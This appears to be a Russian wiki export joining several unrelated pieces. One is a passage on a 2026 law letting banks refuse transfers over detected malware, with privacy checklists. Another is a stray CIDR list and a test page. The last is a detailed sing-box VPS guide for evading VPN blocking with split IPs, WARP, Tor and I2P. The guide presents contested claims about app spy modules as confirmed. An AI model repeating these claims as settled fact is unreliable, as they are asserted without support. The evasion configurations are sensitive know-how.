подсанкционных банков в App Store нет, и распространяются они кто через TestFlight, кто восстановлением ранее купленного, кто через недолговечные «приложения-оболочки» под посторонними названиями. Обновления приходят рвано, а поиск по названию банка в российской витрине регулярно выдаёт приложения посторонних издателей — готовая площадка для фишинга. Так что «просто возьми iPhone» — совет с побочными эффектами. ## Веб-версия банка: почему она предпочтительнее приложения Закон требует средств защиты и для приложения, и для официального сайта. Но возможности у этих двух каналов разные, и разница — в пользу браузера. Нативное приложение выполняет код с правами приложения: у него есть разрешения, доступ к файлам, к списку установленных программ через системные API, к сетевым интерфейсам, к сенсорам, к перехвату каждого касания. Веб-страница выполняется в песочнице браузера. Она не читает файлы без явного выбора через системный диалог, не перечисляет установленные приложения средствами платформы, не видит сетевые интерфейсы и не может подгрузить нативный SDK. Всё, что собрано в разделах выше про `QUERY_ALL_PACKAGES`, `queryIntentServices("android.net.VpnService")` и списки VPN-клиентов, в браузере просто не работает. Практический вывод: если задача — сузить объём данных, которые уходят банку с устройства, вход в интернет-банк через браузер даёт больший эффект, чем любая настройка разрешений в приложении. Особенно если делать это в отдельном профиле браузера или в отдельном браузере, используемом только для банка. > [!warning] Чего веб-версия не отменяет > Слепой браузер не бывает. Веб-антифрод снимает отпечаток браузера (шрифты, canvas, WebGL, `enumerateDevices`), поведение мыши и клавиатуры, а на мобильных — данные движения устройства. На стороне сервера читаются TLS-отпечаток (JA3/JA4), порядок HTTP-заголовков и Client Hints — вообще без участия JavaScript. WebRTC способен выдать локальный и публичный IP мимо VPN, а рассогласование часового пояса и локали с геолокацией IP-адреса — классический сигнал против VPN и прокси. Существуют и точечные приёмы определения установленных программ через внешние протокольные обработчики (техника scheme flooding, опубликованная FingerprintJS в мае 2021, определяла в том числе VPN-клиенты), а `navigator.getInstalledRelatedApps()` легально показывает сайту, стоит ли **его собственное** приложение. Наконец, [[Localhost-tracking-Meta-Yandex-SOCKS5|мост через localhost]] показал, что связь «страница ↔ нативное приложение» технически возможна и применялась на практике. > > Вывод точнее звучит так: веб-версия резко сокращает доступ к **содержимому** устройства и к спискам программ, но не делает тебя невидимым для антифрода. Дополнительная деталь для российских банков: с августа 2026 их сайты работают на сертификатах государственного НУЦ, которые Chrome, Safari и Edge не признают. Как пользоваться такими сайтами, не устанавливая корневой сертификат в систему, разобрано в заметке про [[nuc/safe-usage|изоляцию доверия]]. А совсем вне цифрового контура остаются офис банка и банкомат — именно личное присутствие закон и называет альтернативой при отказе в переводе. ## Если в переводе всё-таки отказали - [ ] Сохрани уведомление банка с причиной отказа — скриншот с датой и временем; это отправная точка любого разбирательства. - [ ] Попробуй провести операцию с другого устройства либо лично в отделении — именно эти два варианта закон обязывает банк предложить (банкомат в норме не назван, но как канал он остаётся). - [ ] Если считаешь отказ ошибочным, направь письменную претензию; ускоренной процедуры обжалования норма не предусматривает, поэтому рассчитывай на обычные сроки рассмотрения обращений. - [ ] Если деньги всё же ушли без твоего согласия, помни про 10 рабочих дней на обращение в банк и про то, что возмещение привязано к постановлению о возбуждении уголовного дела. - [ ] Проверь устройство самостоятельно: список приложений со «Специальными возможностями», недавно установленные APK, программы удалённого доступа. Иногда детект прав, и лучше узнать об этом заранее. ## Чек-лист: подготовиться до 1 марта 2027 - [ ] Прочитать пункт про защиту программного обеспечения в новой редакции договора (банки будут переоформлять их до 1 сентября 2027) и осознанно выбрать согласие или отказ. - [ ] Пройтись по разрешениям банковских приложений: галерея, контакты, местоположение — снять всё, чем не пользуешься. - [ ] Проверить три экрана «Специального доступа»: все файлы, данные об использовании, поверх других приложений. - [ ] Убедиться, что банковское приложение не числится в «Специальных возможностях». - [ ] Рассмотреть перенос банковского клиента в рабочий профиль или ко второму пользователю — либо переход на веб-версию. - [ ] Держать счета минимум в двух банках, чтобы риск-политика одного не отрезала от денег целиком. - [ ] Не ставить APK из мессенджеров и «зеркал»: реальный троян опаснее спорной нормы закона ([[virus/flowseal-fake-youtube-salatstealer-july-2026|пример живой кампании со стилером]]). - [ ] Никогда не устанавливать программы удалённого доступа по просьбе «сотрудника банка» или «следователя» — это самая частая механика хищений, против которой норма и заявлена. ## 📚 См. также - [[nuc/banks-nuc-certs-august-2026|3 августа 2026: TrustAsia отозвала сертификаты у российских банков]] — вторая история про банки и государство: переход на сертификаты НУЦ. - [[nuc/00-overview|Сертификаты Минцифры (НУЦ) — обзор раздела]] — что такое НУЦ, чьи полномочия закрепил тот же 210-ФЗ. - [[root/Magisk|Magisk]] и [[root/ReSukiSU|ReSukiSU/KernelSU]] — root на Android и механизмы его скрытия от банковских приложений. - [[Localhost-tracking-Meta-Yandex-SOCKS5|Localhost-атака: Meta, Яндекс и loopback]] — как приложения и сайты обмениваются данными в обход разрешений. - [[virus/flowseal-fake-youtube-salatstealer-july-2026|Фейковый Flowseal раздаёт стилер SalatStealer]] — как выглядит настоящее вредоносное ПО, от которого норма и должна защищать. - [[Cybersecurity|Кибербезопасность]] — общая подборка материалов раздела. - 🔗 [ТАСС, 8 августа 2026: банки будут отказывать в переводах при вредоносном ПО](https://tass.ru/ekonomika/27994407) — первоисточник новости. - 🔗 [«Интерфакс»: механика нормы и сроки переоформления договоров](https://www.interfax.ru/business/1095014) — что именно обязаны сделать банки. - 🔗 [Текст 210-ФЗ постатейно (ГАРАНТ)](https://base.garant.ru/414444315/) — дословные формулировки, включая часть 3.4-1 статьи 8 и часть 1.2 статьи 27 161-ФЗ. - 🔗 [НСН, 28 июля 2026: «Затронет и VPN»](https://nsn.fm/nauka-i-tehnologii/zatronet-i-vpn-kak-banki-budut-iskat-virusy-na-smartfonah-rossiyan) — комментарий Сергея Вакулина про сигнатуры и последствия отказа. - 🔗 [«Фонтанка», 1 августа 2026](https://www.fontanka.ru/2026/08/01/76566254/) — комментарии Марии Бродовской (НБС) и Светланы Зубковой (Финуниверситет). - 🔗 [RKS Global: как российские приложения детектируют VPN](https://rks.global/ru/research/vpn-detection/) — разбор 30 APK, апрель 2026. - 🔗 [Приказ Банка России № ОД-2506 о признаках переводов без согласия клиента](https://www.cbr.ru/Reception/TopicalMessage/Page/11403) — действующие двенадцать признаков. - 🔗 [GrapheneOS: Storage Scopes и Contact Scopes](https://grapheneos.org/features) — как выглядит правильная модель разрешений. - 🔗 [banking-apps-compat-report](https://github.com/PrivSec-dev/banking-apps-compat-report) — открытый трекер совместимости банковских приложений с защищёнными прошивками. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/banks-malware-scan-2027.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- ```txt 95.101.173.0/24 162.159.129.0/24 162.159.137.0/24 84.17.42.0/24 109.252.188.0/24 5.200.0.0/16 18.165.0.0/16 23.227.0.0/16 34.0.0.0/16 34.1.0.0/16 34.125.0.0/16 34.126.0.0/16 34.127.0.0/16 34.128.0.0/16 35.186.0.0/16 35.207.0.0/16 35.208.0.0/16 35.209.0.0/16 35.210.0.0/16 35.211.0.0/16 35.212.0.0/16 35.213.0.0/16 35.214.0.0/16 35.207.0.0/16 35.208.0.0/16 35.209.0.0/16 35.210.0.0/16 35.211.0.0/16 35.212.0.0/16 35.213.0.0/16 35.214.0.0/16 35.215.0.0/16 35.216.0.0/16 35.217.0.0/16 35.218.0.0/16 35.219.0.0/16 66.22.0.0/16 64.233.0.0/16 74.125.0.0/16 104.17.0.0/16 104.18.0.0/16 104.21.0.0/16 104.22.0.0/16 104.23.0.0/16 104.24.0.0/16 104.25.0.0/16 108.177.0.0/16 138.128.0.0/16 138.199.0.0/16 142.250.0.0/16 142.251.0.0/16 142.252.0.0/16 149.152.0.0/16 149.153.0.0/16 162.157.0.0/16 162.158.0.0/16 162.159.0.0/16 162.160.0.0/16 172.65.0.0/16 172.66.0.0/16 172.67.0.0/16 173.194.0.0/16 188.114.0.0/16 204.11.0.0/16 209.85.0.0/16 ``` --- Эта страница песочница для тестов ![](https://cs8.pikabu.ru/post_img/2016/02/17/9/1455721365166824427.gif) ![[лунтик ага вот ты самый главный бездельник.mp4]]

Комментарии

--- # Фикс обнаружения и блокировки туннелей: разделение IP + маршрутизация sing-box **Дата:** 7 апреля 2026 **Источник:** [Dreaght — ntc.party](https://ntc.party/t/фикс-обнаружения-и-блокировки-туннелей-sing-box-маршрутизация/), 2 апреля 2026 **Контекст:** Шпионские модули в РФ-приложениях сливают входной IP VPN-сервера → РКН блокирует сервер. Инфраструктурный фикс на уровне VPS. **Связанные заметки:** - [Уязвимость VLESS-клиентов — SOCKS5 на localhost](VLESS-SOCKS5-vulnerability.md) - [Защита VPN от localhost-атаки](VLESS-localhost-protection-guide.md) - [Localhost-трекинг Meta/Яндекс](Localhost-tracking-Meta-Yandex-SOCKS5.md) --- ## Оглавление 1. [TL;DR](#1-tldr) 2. [Модель угрозы](#2-модель-угрозы) 3. [Почему sandbox и split-tunneling не спасают](#3-почему-sandbox-и-split-tunneling-не-спасают) 4. [Установка sing-box на сервере](#4-установка-sing-box-на-сервере) 5. [Шаг 1: Купить второй IPv4 на VPS](#5-шаг-1-купить-второй-ipv4-на-vps) 6. [Шаг 2: Разделить входной/выходной IP в sing-box](#6-шаг-2-разделить-входнойвыходной-ip-в-sing-box) 7. [Шаг 3: WARP для неизвестного трафика](#7-шаг-3-warp-для-неизвестного-трафика) 8. [Шаг 4: Direct для доверенных CIDR](#8-шаг-4-direct-для-доверенных-cidr) 9. [Шаг 5: Tor для геоблокированных сервисов](#9-шаг-5-tor-для-геоблокированных-сервисов) 10. [Шаг 6: I2P через VPS](#10-шаг-6-i2p-через-vps) 11. [Шаг 7: SSH через туннель](#11-шаг-7-ssh-через-туннель) 12. [Шаг 8: DNS-разделение RU/Default](#12-шаг-8-dns-разделение-rudefault) 13. [Итоговая архитектура](#13-итоговая-архитектура) 14. [Рекомендация по транспорту](#14-рекомендация-по-транспорту) 15. [Fallback: если только 1 IPv4](#15-fallback-если-только-1-ipv4) 16. [Продвинутый уровень: множественные SNI и балансировка](#16-продвинутый-уровень-множественные-sni-и-балансировка) 17. [Альтернатива WARP: домашний статический IP](#17-альтернатива-warp-домашний-статический-ip-как-входная-точка) 18. [Дополнительные улучшения](#18-дополнительные-улучшения) 19. [Контр-аргументы и известные риски](#19-контр-аргументы-и-известные-риски) 20. [Чеклист](#20-чеклист) --- ## 1. TL;DR - Шпионские модули в РФ-приложениях (MAX, Яндекс, ВК, и др.) обнаруживают входной IP VPN-сервера и сливают его РКН. - РКН через логи провайдеров + корреляционную атаку по времени блокирует сервер. - **Минимальный фикс:** купить второй IPv4, принимать VLESS на входном IP, а выходить в интернет через выходной IP. - **Расширенная схема:** маршрутизация на VPS через sing-box — WARP, direct, Tor, DNS-разделение. - Клиентские устройства должны быть «тупыми» — просто гнать весь трафик через VLESS на VPS. --- ## 2. Модель угрозы ### Что подтверждено 1. **MAX содержит шпионский модуль** — разработчики встроили модуль слежки за VPN-пользователями с удалённым управлением, сделали его максимально трудноблокируемым. 2. **РКН продавил закон о логах** — провайдеры обязаны сливать данные (netflow и пр.), позволяющие однозначно идентифицировать абонентов по внутреннему NAT IP. 3. **Active probing** — РКН автоматически прозванивает обнаруженные входные IP VPN-серверов. ### Как работает корреляционная атака ``` 1. Шпион в приложении (MAX/VK/Яндекс) → запрос через свой exit IP → логируется на сервере 2. В то же временное окно другой шпион (другое приложение) → запрос через другой exit IP 3. У провайдера: из логов (netflow) → внутренний NAT IP пользователя 4. Два IP в одно время от одного NAT IP → один из них = VPN-туннель 5. Особенно легко при split-tunneling: два разных IP в одном временном окне ``` ### Три точки наблюдения (модель деанонимизации) Для полной деанонимизации входного IP туннеля требуются **минимум 2 из 3** точек: | # | Точка наблюдения | Статус | |---|-----------------|--------| | 1 | **ISP** (логи провайдера, netflow) | Доступ у РКН — закон принят | | 2 | **Хостер** (VPS-провайдер) | Зависит от юрисдикции | | 3 | **CF / Конечные сервисы** (шпионские модули) | Активно эксплуатируется | > Пускание шпионов в DIRECT **ослабляет схему сильнее**, чем «палевные» объёмы трафика к одному IP. Шпион идёт через direct → точно спалитесь. Шпион не идёт через direct → достаточно хорошо. ### Симптомы блокировки - Периодические обрывы соединений к self-hosted VPS. - ClientHello доходит, сервер не видит ACK, клиент ими долбится. - RST-пакеты от лица сервера к клиенту и от клиента к серверу (инжектируемые ТСПУ). - SSH тоже отваливается. - Блокировка входного IP со всех локаций сразу. --- ## 3. Почему sandbox и split-tunneling не спасают | Подход | Почему не работает | |--------|--------------------| | **Sandbox / Knox / Shelter / Island** | Loopback-интерфейс общий, шпион и так может обойти изоляцию | | **Per-app split-tunneling** | Заставляет конечные устройства быть «умными» — рано или поздно ошибёшься. Архитектурно неправильно | | **Бан конкретных приложений** | Тараканов по одному ловить — тупик. IP утекает сотней способов | | **Изоляция интерфейса сети (QubesOS-style)** | Нереалистично на смартфонах, заведомо проигрышная борьба | | **IP-чекеры / блок шпионов** | Невозможно отловить все каналы утечки, пролезут в правила маршрутизации | | **geoip:ru → WARP без разделения IP** | IP-чекеры вне geoip:ru (ifconfig.me и др.) покажут реальный входной IP сервера. Правилами маршрутизации это не решить | | **Белые списки на роутере** | CDN-сайты нельзя надёжно IP-листить. Шпион подкинет fake SNI (как Zapret) и обойдёт. Не работает для мобильных устройств без карманного OpenWRT | | **Отказ от TUN / ручные листы** | Костыльная архитектура. Нет прозрачности, нет надёжности. Когда-нибудь ошибётесь — РКН увидит ошибку в логах | > **Правильный подход:** инфраструктурный фикс на сервере. Клиенты — тупые, сервер — умный. Никакие костыли на роутере не сравнятся с простым разделением ingress/egress IPv4 + полное туннелирование. --- ## 4. Установка sing-box на сервере sing-box и Xray — практически производные от v2ray. sing-box — следующий этап эволюции после Xray, конфиги единообразнее и понятнее. ```bash # Arch Linux yay -S sing-box # Debian/Ubuntu sudo apt install sing-box ``` - Конфиг: `/etc/sing-box/config.json` — единственный файл конфигурации - Перезапуск: `systemctl restart sing-box` - **Документация:** [sing-box.sagernet.org](https://sing-box.sagernet.org/) > Автор изначально использовал Xray на сервере + sing-box на клиенте, но ушёл полностью на sing-box — единообразнее. --- ## 5. Шаг 1: Купить второй IPv4 на VPS 1. В панели управления VPS → вкладка **«Сеть»** → купить дополнительный белый IPv4. 2. Проверить, что оба IP доступны: ```bash ip a ``` Должны быть видны: - **Входной IP** (`X.X.X.X`) — на нём будет слушать sing-box. **Нигде не светить!** - **Выходной IP** (`Y.Y.Y.Y`) — на него bind outbound. Этот IP увидят шпионы, и это ОК. - IPv6 выходной (опционально, WARP предоставляет свой). ### Настройка сетевого интерфейса (systemd-networkd) Если нового IP нет в `ip a` после покупки — настройте вручную. Файл `/etc/systemd/network/20-eth0.network`: ```ini [Match] Name=eth0 [Network] # IPv4 — ПОРЯДОК ВАЖЕН: выходной IP первым (будет дефолтным)! Address=Y.Y.Y.Y/24 Address=X.X.X.X/24 Gateway=Y.Y.Y.1 # IPv6 Address=YYYY:YYYY:Y:Y::YYYY/64 Gateway=YYYY:YYYY:Y:Y::1 DNS=1.1.1.1 DNS=2606:4700:4700::1111 IPv6AcceptRA=yes ``` > **Критично:** `X.X.X.X` (входной) должен идти **ПОСЛЕ** `Y.Y.Y.Y` (выходной), чтобы выходной был дефолтным в системе! Перезапустить: ```bash systemctl restart systemd-networkd ``` --- ## 6. Шаг 2: Разделить входной/выходной IP в sing-box Конфиг `/etc/sing-box/config.json`: ### Inbound — слушать ТОЛЬКО на входном IP ```json { "inbounds": [ { "type": "vless", "tag": "reality-in", "listen": "X.X.X.X", "listen_port": 443, "...": "остальные параметры VLESS-Reality" } ] } ``` > Где `X.X.X.X` — **входной IP**, который нельзя нигде светить. ### Outbound — выходить через выходной IP ```json { "outbounds": [ { "type": "direct", "tag": "direct", "inet4_bind_address": "Y.Y.Y.Y" } ] } ``` > Где `Y.Y.Y.Y` — **выходной IP**. Его и увидят шпионы — но заблокировать по нему входной IP уже не смогут. ### Подстраховка для других outbound Если есть другие outbound (upstream прокси, WARP и т.д.) — добавить `inet4_bind_address` и туда: ```json { "type": "direct", "tag": "some-other-outbound", "inet4_bind_address": "Y.Y.Y.Y" } ``` > **Это минимальный фикс.** Его одного уже достаточно, чтобы закрыть основную уязвимость. --- ## 7. Шаг 3: WARP для неизвестного трафика Зачем: выходной IP принадлежит ASN датацентра → сервисы типа Кинопоиск не откроются. WARP даёт «резидентный» IP. Цепочка: `Me → VLESS → WARP → Неизвестный трафик` ### Генерация конфига WARP С VPS выполнить (инструкции из репозитория [WARP-клиента](https://github.com/ViRb3/wgcf)): ```bash wgcf register wgcf generate ``` ### Endpoint в sing-box ```json { "endpoints": [ { "type": "wireguard", "tag": "warp-ep", "system": false, "name": "wg0", "mtu": 1280, "address": [ "172.16.0.2/32", "fd01:5ca1:ab1e:8d97:ef27:3f9b:aa5c:1234/128" ], "private_key": "ВАШ_ПРИВАТНЫЙ_КЛЮЧ=", "domain_resolver": "google", "peers": [ { "address": "engage.cloudflareclient.com", "port": 2408, "public_key": "bmXOC+F1FxEMF9dyiK2H5/1SUtzH0JuVo51h2wPfgyo=", "allowed_ips": [ "0.0.0.0/0", "::/0" ] } ] } ] } ``` > Замените `address`, `private_key` на значения из сгенерированного `wgcf-profile.conf`. `public_key` пира — стандартный CF WARP. ### Риски WARP (предупреждение bolvan, автор Zapret) > **С 15 апреля 2026** РФ-сервисам приказано банить IP известных VPN, и WARP будет первым. Вероятно лягут: mail.ru, VK, Yandex, Ozon, Avito и пр. - Русские сайты уже подвисают с WARP (возможно связано с AMS точкой входа). - **Если РУ-сервисы перестанут открываться через WARP** — пускать их в DIRECT через `geosite-category-ru` (см. шаг 8), а неизвестное через WARP. Или «шлите такие сервисы лесом, это их проблемы» (Dreaght). - На некоторых ASN (например Ростелеком) не проходит трафик к Cloudflare CDN — проблемы связности на промежуточных хопах. ### WARP: ограничения - **Не подходит для realtime** (игры, VoIP) — ping jitter. - **Хорош для вебсайтов** благодаря CDN Cloudflare. - Для игр → пускать в DIRECT с VPS (игровые порты). ### WARP = резидентский ASN CloudFlare WARP считается **резидентским** IP. Даже Кинопоиск, который блокирует ASN датацентров, **пускает через WARP**. Госуслуги тоже открываются. > **Selectel уже ограничил доступ к госуслугам** со своих серверов (апрель 2026). Тренд расширится на другие хостеры. Без WARP или резидентского прокси — РФ-сервисы с VPS не откроются. ### geosite для IP-чекеров Существует отдельный geosite-список IP-чекеров. Их можно пустить в отдельный outbound (WARP/Tor), чтобы не светить реальный IP: ```json { "rule_set": ["geosite-category-ip-checker"], "action": "route", "outbound": "warp-ep" } ``` --- ## 8. Шаг 4: Direct для доверенных CIDR Доверенные сервисы, на чьих CIDR нельзя разместить свой сервер — напрямую в direct без WARP. Цепочка: `Me → VLESS → Direct → Apple, Telegram, и др.` ### Route rules ```json { "route": { "rules": [ { "rule_set": ["geoip-apple", "geoip-telegram"], "action": "route", "outbound": "direct" } ] } } ``` > Важно: используйте **CIDR / geoip**, а не geosite. Geosite работает через домены — шпион может подставить свой домен в тот же CIDR. ### Что ещё пускать в DIRECT с VPS (уточнение из обсуждения) - **Игровые порты** + конкретные домены/списки (WARP не подходит для realtime из-за ping jitter) - **YouTube** — много трафика, не светит наружу IP, считается доверенным - **BitTorrent** — только с ПК, в DIRECT напрямую (максимизация bandwidth + юр. риски при проксировании) > WARP хорошо работает с вебсайтами (CDN), но **не предназначен для realtime** (игры, VoIP). --- ## 9. Шаг 5: Tor для геоблокированных сервисов Некоторые сервисы (OpenAI, Habr, TikTok) блокируют IP датацентров и WARP. Решение — Tor или upstream прокси. Цепочка: `Me → VLESS → Tor → Геоблокированные сервисы` ### Установка Tor на VPS ```bash # Debian/Ubuntu sudo apt install tor # Arch sudo pacman -S tor ``` Tor запустится как SOCKS5 прокси на `127.0.0.1:9050`. ### Outbound в sing-box ```json { "type": "socks", "tag": "tor-out", "server": "127.0.0.1", "server_port": 9050 } ``` ### Route rule ```json { "rule_set": ["geosite-openai", "geosite-tiktok"], "action": "route", "outbound": "tor-out" } ``` > Альтернатива Tor: upstream ShadowSocks-прокси (с/без WARP). Современный Tor достаточно быстрый для большинства задач. --- ## 10. Шаг 6: I2P через VPS Цепочка: `Me → VLESS → I2P` I2P-роутер работает на самом VPS. Клиент не знает про I2P — просто гонит трафик через VLESS, а VPS маршрутизирует в I2P по правилам. ### Установка I2P на VPS ```bash # Debian/Ubuntu sudo apt install i2pd # Arch sudo pacman -S i2pd ``` I2P-роутер запустится и создаст HTTP-прокси на `127.0.0.1:4444` и SOCKS на `127.0.0.1:4447`. ### Outbound в sing-box ```json { "type": "socks", "tag": "i2p-out", "server": "127.0.0.1", "server_port": 4447 } ``` ### Route rule (для .i2p доменов) ```json { "domain_suffix": [".i2p"], "action": "route", "outbound": "i2p-out" } ``` --- ## 11. Шаг 7: SSH через туннель SSH слушает ТОЛЬКО на выходном IP → подключение автоматически идёт через VLESS. Цепочка: `Me → VLESS → SSH (к выходному IP Y.Y.Y.Y) → мой сервер` ### Настройка sshd В `/etc/ssh/sshd_config`: ``` ListenAddress Y.Y.Y.Y ``` > Пинг от входного IP к выходному IP в подсети хостера — околонулевой. Также можно подключаться через IPv6 если есть. ### Аварийный доступ — через Tor (onion SSH) Если туннель лёг: ``` Me → Tor bridges → Tor → SSH-over-onion → мой сервер ``` В `/etc/tor/torrc`: ``` HiddenServiceDir /var/lib/tor/ssh/ HiddenServicePort 22 127.0.0.1:22 ``` После перезапуска Tor — onion-адрес в `/var/lib/tor/ssh/hostname`. > Это single-point-of-failure бэкап. Мосты Tor можно получить через email, PGP, GitHub Actions бот. --- ## 12. Шаг 8: DNS-разделение RU/Default Проблема: Google DNS не возвращает «правильные» IP для РФ-сервисов (госуслуги и т.д.). Решение — форсировать Yandex DNS для RU-сегмента на самом VPS. ``` DNS over VLESS: RU → Yandex DoU (unencrypted, на VPS) Default → Google DoT (encrypted) ``` > Не заморачивайте конечные клиенты DNS-правилами — всё на сервере. ### dns.rules — перенаправить RU-домены на Yandex ```json { "dns": { "servers": [ { "tag": "google", "address": "tls://8.8.8.8", "detour": "direct" }, { "tag": "local", "address": "77.88.8.8", "detour": "direct" } ], "rules": [ { "rule_set": ["geosite-category-ru"], "server": "local" } ] } } ``` ### route.rules — заставить RU-сервисы использовать Yandex DNS ```json { "route": { "rules": [ { "rule_set": ["geosite-category-ru"], "action": "resolve", "server": "local" } ] } } ``` ### rule_set — источник списка RU-доменов ```json { "route": { "rule_set": [ { "tag": "geosite-category-ru", "type": "remote", "format": "binary", "url": "https://raw.githubusercontent.com/runetfreedom/russia-v2ray-rules-dat/release/sing-box/rule-set-geosite/geosite-category-ru.srs" } ] } } ``` --- ## 13. Итоговая архитектура ``` Клиент (смартфон / ПК) │ │ Весь трафик (кроме BitTorrent на ПК) │ ▼ VLESS-XTLS-uTLS-REALITY-xudp-gRPC │ → входной IP X.X.X.X (скрытый) │ ▼ VPS sing-box (маршрутизатор) │ ├─► RU-сервисы (geosite-category-ru) │ DNS: Yandex 77.88.8.8 │ → Direct (выходной IP Y.Y.Y.Y) │ ├─► Доверенные CIDR (Apple, Telegram) │ → Direct (выходной IP Y.Y.Y.Y) │ ├─► Неизвестный трафик (default) │ DNS: Google 8.8.8.8 DoT │ → WARP (CF WireGuard) │ ├─► Геоблокированные (OpenAI, TikTok, Habr) │ → Tor SOCKS5 (localhost:9050) │ или ShadowSocks (с/без WARP) │ ├─► I2P │ → I2P-роутер на самом VPS │ ├─► SSH │ → к выходному IP Y.Y.Y.Y (через VLESS автоматически) │ → или по IPv6 │ → аварийный: bridges → Tor → SSH-over-onion │ └─► BitTorrent (только ПК) → DIRECT (напрямую, минуя VPN) Клиент → DIRECT → BitTorrent ``` ### Проброс портов на входном IP ``` 80/TCP — на входном IP (X.X.X.X) 443/UDP — на входном IP (X.X.X.X) ``` SSH слушать **только** на выходном IPv4 (`Y.Y.Y.Y`). ### Правила маршрутизации Реализованы на **сервере** по: - `geosite` / `geoip` — rule_set - Портам — port matching - `user_auth` — дифференциация по пользователям ### Принцип - **Клиенты — тупые.** Только гонят весь трафик через VLESS. - **VPS — умный.** Вся логика маршрутизации на сервере. - **Входной IP скрыт.** Шпионы видят только выходной IP (или WARP/Tor IP). - **Выходной IPv4 — дефолтный** в системе, входной IPv4 — дополнительный. - **Принуждение DNS:** Yandex DoU для RU-доменов, даже если клиент хотел другой DNS. --- ## 14. Рекомендация по транспорту **Протокол:** `VLESS-XTLS-uTLS-REALITY-xudp-gRPC` - **REALITY** — SNI к домену в подсети хостера (не к публичному сайту). - **gRPC транспорт** — обязателен как минимум. Мультиплексирование gRPC предотвращает триггер «Сибирской блокировки» (корреляция по временным паттернам TCP-соединений). - После фикса (разделение IP) автор пользовался обычным TCP без мультиплексирования — проблемы исчезли. Но gRPC рекомендуется для подстраховки. ### Аналог для Xray-core В Xray-core аналог `inet4_bind_address` — параметр **`sendThrough`** в Outbounds: ```json { "outbounds": [ { "tag": "direct", "protocol": "freedom", "sendThrough": "Y.Y.Y.Y", "settings": {} } ] } ``` > Документация: [xtls.github.io — OutboundObject](https://xtls.github.io/config/outbound.html) --- ## 15. Fallback: если только 1 IPv4 На нищих промо-тарифах хостеры дают только 1 адрес. В этом случае: > **Ничего в direct напрямую с VPS не пускать.** Весь трафик — только через WARP/Tor. Входной и выходной IP совпадают, но шпионы увидят IP CloudFlare (WARP), а не реальный IP сервера. Менее надёжно, чем 2 IP, но лучше чем ничего. --- ## 16. Продвинутый уровень: множественные SNI и балансировка > Рекомендация NikeProPickMe из обсуждения. Критическая ошибка большинства — **1 outbound с 1 SNI**. Рекомендуется: 1. **5 outbound с разными SNI** — диверсификация TLS fingerprint 2. **Промежуточная MSK-машина** (VPS в РФ) — не подключается к единственному VLESS-серверу напрямую 3. **Второй зарубежный сервер** с `dnsmasq`, блокирующим `.ru`, `.рф` и `yandex.net` 4. **Балансировка** на MSK-машине: `least_ping` или `round_robin` между зарубежными серверами Схема: ``` Клиент → MSK VPS (балансировщик) ├─► Зарубежный сервер 1 (SNI-A, SNI-B) └─► Зарубежный сервер 2 (SNI-C, SNI-D, SNI-E) └─ dnsmasq: блок .ru/.рф/yandex.net ``` > Это уровень параноидальной безопасности. Базовая схема с 2 IP уже закрывает основную уязвимость. --- ## 17. Альтернатива WARP: домашний статический IP как входная точка > Предложение knitabsorbed из обсуждения. Если у вас **белый (статический) домашний IP**, его можно использовать как входную точку для RU-трафика вместо WARP: ``` Me → VLESS → VPS → (RU-трафик) → домашний IP → РФ-сервисы ``` **Плюсы:** - Не нужен WARP для РФ-сервисов — домашний IP = легитимный резидентский - Нет рисков бана WARP на госуслугах/сервисах **Минусы:** - Не все ISP дают статические IP — схема не универсальна - Появляется новая точка обслуживания (домашний сервер/роутер) - Если триггеры корреляции по временным окнам в ТСПУ существуют — слив домашнего IP через direct (допущение) > Dreaght: «Резидентский прокси — да, это будет работать. Неудобно, появляется новая точка обслуживания.» --- ## 18. Дополнительные улучшения ### XHTTP + разделение up/downstream Возможно реализовать **XHTTP с разделением upload/download потоков** для дополнительной обфускации. Упоминается в обсуждении как перспективное направление. ### DNS-бойкот вредоносных сервисов Если сервис блокирует WARP или требует резидентский IP — вместо ослабления схемы (direct) добавить его в DNS-блок: ```json { "dns": { "rules": [ { "domain_suffix": ["selectel-blocked-service.ru"], "action": "reject" } ] } } ``` > Принцип Dreaght: **идти дальше, а не сдавать назад**. Ослабление схемы ради удобства одного сервиса — компромисс не в вашу пользу. --- ## 19. Контр-аргументы и известные риски Честный обзор критики из обсуждения — чтобы принимать решения с открытыми глазами. ### «Один туннель = табличка "я использую VPN"» (aki) **Аргумент:** Пользователь месяцами держит единственный постоянный коннект к одному IP, гонит сотни ГБ → для провайдера это VPN с вероятностью 99%. Не нужен ML, достаточно простого анализа метаданных. Пакет Яровой = все метаданные сессий хранятся 3 года. **Контр-аргумент (Dreaght):** Помимо VPN, на один IP постоянно ходят: - Игры (постоянный коннект, большой трафик) - Стриминг (один IP, огромный трафик) - Торренты (один IP) - Синхронизация облачных дисков (один IP, огромный трафик) - Корпоративные туннели / домашние серверы — туннелирование не запрещено Ложных срабатываний будет слишком много. Точечные ручные проверки не масштабируются. > **Вывод:** риск существует, но на данный момент никого за объёмы трафика к одному IP ещё не банили. Проблема шпионов реальнее. ### CF WARP ≠ резидентский IP (aki) **Аргумент:** WARP использует IP, принадлежащие ASN13335 (Cloudflare). Определяется как cdn/hosting. Сегодня банки и Кинопоиск пускают, завтра — могут перестать. **Контр-аргумент (Dreaght):** Пока лично не сталкивался с ограничениями через WARP. Госуслуги, Яндекс, ВК — работают. Если перестанут — шлите такие сервисы лесом, или пускайте RU-сегмент через Yandex DNS + direct на VPS. > **Вывод:** WARP — не настоящий резидентский, но функционально пока работает как резидентский для РФ-сервисов. Заменить на домашний статический IP (§17) если начнут банить. ### Риск бана всей подсети (SweetPotato) **Аргумент:** Хостеры выделяют IP из одной подсети. РКН банит подсети целиком. Входной IP может попасть под бан, предназначенный для чужого выходного IP. > **Вывод:** реальный риск. Входной IP лучше брать из другой подсети, если хостер позволяет. Или у другого хостера. ### CGNAT размывает корреляцию (Dreaght) Внутренний NAT IP (CGNAT провайдера) может меняться, размывая связку SRC → DST. Общедоступные сети (Wi-Fi, коворкинги) ещё сильнее усложняют идентификацию. Не везде можно привязать конкретную сессию к конкретному человеку. --- ## 20. Чеклист - [ ] Куплен второй IPv4 на VPS - [ ] Оба IP видны в `ip a` - [ ] В systemd-networkd: выходной IP **первым**, входной — вторым - [ ] `inbounds.listen` = входной IP (X.X.X.X) - [ ] `outbounds.direct.inet4_bind_address` = выходной IP 